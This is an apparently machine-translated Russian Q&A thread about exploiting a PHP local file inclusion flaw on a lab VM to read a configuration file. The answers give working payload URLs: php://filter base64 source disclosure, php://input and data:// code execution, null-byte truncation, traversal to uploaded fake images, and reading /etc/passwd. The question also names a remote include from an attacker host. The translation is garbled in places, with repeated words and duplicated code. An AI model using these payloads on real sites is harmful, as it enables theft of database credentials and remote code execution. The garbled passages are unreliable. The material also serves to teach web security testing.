Я пытаюсь использовать некоторые уязвимости в Интернете на веб-сайте, запущенном внутри виртуальной машины (он недоступен в Интернете – только для образовательных целей). У меня есть php-файл с именем setupreset.php
который содержит информацию о конфигурациях MySQL, настройках и паролях, используемых для настройки веб-сайта. Это находится в том же каталоге, что и остальные файлы php (индекс, продукты, форум и т. Д.).
Это код index.php, для справки:
<?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?>
в<?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?>
Основная цель – перечислить содержимое файла setupreset
PHP или загрузить его как-то. Если я перейду к этому файлу: http://10.211.55.5/index.php?page=setupreset
, он будет выполнен, но код PHP, естественно, не показан, из-за того, что он разбирается с помощью интерпретатора PHP.
Теперь сайт использует PHP include
s, поэтому URL-адреса выглядят следующим образом: http://10.211.55.5/index.php?page=products
. Кажется, что он уязвим для удаленного включения файлов, где я могу просто указать на другую страницу PHP, например http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php
но allow_url_include
off
и его нельзя изменить, так что это не сработает (я пробовал это). Однако allow_url_fopen
, вероятно, allow_url_fopen
(поскольку он allow_url_fopen
по умолчанию), поэтому мой вопрос следующий: можно ли загрузить файл PHP или какой-либо скрипт, в котором содержится содержимое setupreset.php
используя этот вид эксплойта?
Если allow_url_include
выключен, вы не можете выполнить удаленный код. Но вы можете найти другие страницы, например панель управления контентом, чтобы загрузить свой код как «изображение», а затем найти фактический путь и include
его.
И все еще есть способы использовать.
Давайте рассмотрим ваш код. Вы можете заметить, что он автоматически добавляет расширение .php
в конце пути. Поэтому вы должны удалить php
в параметре GET. Но что, если файл, который вы хотите включить, не имеет расширения PHP? Затем используйте %00
для завершения строки, например
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
В PHP есть специальный протокол, мощный и опасный. Это php://
. Вы можете просмотреть официальное руководство для получения подробной информации, и здесь я покажу вам несколько случаев, чтобы сделать уязвимость включения файлов, стать источником раскрытия информации и даже удаленными уязвимостями выполнения кода.
Перед тестированием я предлагаю вам использовать Firefox с плагином HackBar . Это мощный комплект для тестирования проникновения.
Эта функция не требует включения URL-адреса.
php://filter
– это своего рода мета-обертка, предназначенная для разрешения фильтров на поток во время открытия. Это полезно для функций файла «все-в-одном», таких как readfile (), file () и file_get_contents (), где нет возможности применить фильтр к потоку до считываемого содержимого. ( Ссылка )
Затем вы можете увидеть источник secret.inc.php
в том же каталоге с помощью следующего запроса.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
Содержимое файла будет закодировано в base64, поэтому оно поддерживает двоичный файл.
Очень важно получать конфиденциальную информацию, такую как пароли базы данных или ключ шифрования! Если привилегия не является надлежащим образом сконфигурирована, она может даже выскочить из клетки и извлечь данные из файлов в исходных каталогах, например /etc/passwd
!
На самом деле вы не можете использовать этот способ, потому что allow_url_include
в этом случае выключен.
Но я должен указать на это, потому что это волшебство !
Он полностью отличается от локального. Не нужно загружать какой-либо файл на удаленный сервер или так. Все, что вам нужно, это один запрос.
php://input
может получить доступ к необработанному телу HTTP-запроса, поэтому что include("php://input")
? Просто зайдите на http://localhost/include.php?page=php://input
, с действующим кодом PHP в тело запроса, тогда вы можете выполнить любую (разрешенную) функцию на удаленном сервере!
Не забывайте, что %00
.php
хвост .php
.
Кроме того, PHP поддерживает схему data://
URL. Вы можете прямо вставить код в GET param! Следующий тест не требует специального инструмента, обычный браузер может выполнить атаку.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Некоторые брандмауэры веб-приложений могут обнаруживать подозрительную строку в URL-адресе и блокировать запрос злоумышленника, они не оставят только phpinfo
. Есть ли способ зашифровать? Конечно. data://
URL поддерживает хотя бы кодировку base64 …
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
И вы снова познакомитесь с phpinfo!
Нулевой байт-трюк ( %00
) больше не работает для PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139
Используйте обход каталога и завершите введенную строку метасимволом %00
NUL (как указано в википедии ).
http://example.com/index.php?page=setuppreset%00
Это удалит суффикс «.php» из включения и может каким-то образом помочь вам.
Это не. Файл php readfile
, потому что вы вызываете include
, если вы readfile
, file_get_contents
или аналогичный, вы можете увидеть содержимое php-файла.